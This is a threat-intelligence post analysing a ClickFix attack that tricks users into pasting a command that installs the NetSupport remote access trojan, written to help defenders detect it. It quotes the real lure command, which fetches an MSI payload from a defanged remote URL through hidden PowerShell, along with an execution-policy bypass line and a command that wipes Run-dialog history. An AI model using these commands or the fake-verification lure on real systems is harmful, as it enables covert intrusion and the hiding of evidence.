Cyber Hero MDR catches NetSupport Rat

ThreatLocker Threat Intelligence previously detailed how ClickFix social engineering attacks have become a popular attack vector for malicious actors. Usually, under the guise of additional verification steps, the victim is instructed to open the Windows Run Dialog box, copy, paste, and execute a malicious command.  

Whitespace or innocuous filler might disguise the command, but its purpose doesn’t change: it reaches out to an attacker-controlled server and pulls down a malicious payload.  

The malicious payload often contains a persistence mechanism to grant attackers access to the environment remotely and at will. ThreatLocker Threat Intelligence recently observed a ClickFix attack chain that delivers the NetSupport RAT "client32.exe", a once-legitimate remote management tool repurposed as a remote access trojan that still bears its original certificate.

Incident Overview

Here’s what makes the NetSupport remote access trojan observed Nov. 20 unique among other RATs: it used to be the NetSupport Manager, a legitimate remote access tool. Malicious actors repurposed the management tool into a remote access trojan that is still signed with a valid certificate.  

This valid certificate enables the NetSupport RAT to innately bypass certificate-based security measures. When delivered via a ClickFix social engineering attack, the installation of the NetSupport RAT may appear to be intentional or even benign activity.  

Here’s the good news: ThreatLocker Detect can alert and respond to such activity despite the trojan’s valid certificate.

In the case we observed, the user was prompted to enter the following command into the Run Dialog box:

[ssh.exe -o proxycommand=‘powershell -windowstyle hidden -command msiexec /q /i hxxps[:]\\tinyurl[.]com\uz874hb5’ 🗹᠎᠎᠎ ᠎c᠎᠎li᠎᠎c᠎k᠎᠎ o᠎᠎k᠎ ᠎᠎or᠎᠎ ᠎p᠎᠎re᠎᠎s᠎s᠎᠎ e᠎᠎n᠎t᠎᠎er᠎᠎ ᠎t᠎᠎o ᠎᠎r᠎ec᠎ap᠎tc᠎ha᠎ v᠎er᠎if᠎ic᠎at᠎io᠎n.]

The TinyURL link pasted into the Run Dialog box redirected to “hxxps[:]//approveis[.]info/bVfrH7[.]png”. Despite being named as a harmless “.png” image file, the file contained valid MSI instructions and was executed as such by “msiexec.exe”. By combining three different execution methods, the response from this redirecting URL executed as an MSI package. Analysis of the file showed embedded PowerShell code that executed a command encoded with base64.

Once decoded and executed, the PowerShell command reached out to a malicious server and made a request to a PHP page, the response of which was identified as “u3u3l.ps1”. When the response to this request was downloaded as a file, it was named “fGteN.wav.” Command Prompt executed PowerShell to run this script with the following arguments: cmd.exe /c start powershell /w h -ep bypass -file "C:\ProgramData\u3u3l.ps1".

The "u3u3l.ps1" script contained the main payload with the embedded encoded NetSupport RAT executable, "client32.exe", along with other dependencies and required libraries for the original NetSupport Manager. Significant effort was made to continue the deception, as PowerShell Write-Host commands were used to display misleading messages such as "Installing SecureModule Engine v1.0.0" and "Preparing virtual container..." .

While a misled user waited for their installation to complete, the 14 embedded files for the NetSupport RAT were decoded and dropped to disk. The “[IO.File]::WriteAllBytes()” function was used to drop these files into a newly created folder within the ProgramData directory.

The embedded "client32.exe," once dropped, had a valid certificate and was confirmed to be NetSupport. This certificate remained during the tool’s transition from legitimate platform to highly abused RAT.

Once the trojan dropped the files, it created a new process and pointed to the newly created "client32.exe". It then notified the user that their installation was complete, and a command consistent throughout ClickFix attacks was observed:

Remove-ItemProperty –Path ‘HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU’
-Name * -ErrorAction SilentlyContinue

This command effectively cleared the history of the Windows Run Dialog, which was originally used to start the attack chain. Without this piece of the puzzle, a victim could have significant trouble identifying the original compromise in their environment.

Conclusion

ClickFix-style attacks have become more prominent in recent months, but they only succeed when a potential victim cooperates with them. With the right user training and controls in place, high-breadth tools like the Run Dialog box can be blocked from user access, completely preventing this style of attack. You can also implement policies to capture unique commands, such as deletion of the "RunMRU" registry key or "msiexec.exe" reaching out to the internet, keeping your environment protected from similar multi-stage attacks.

‍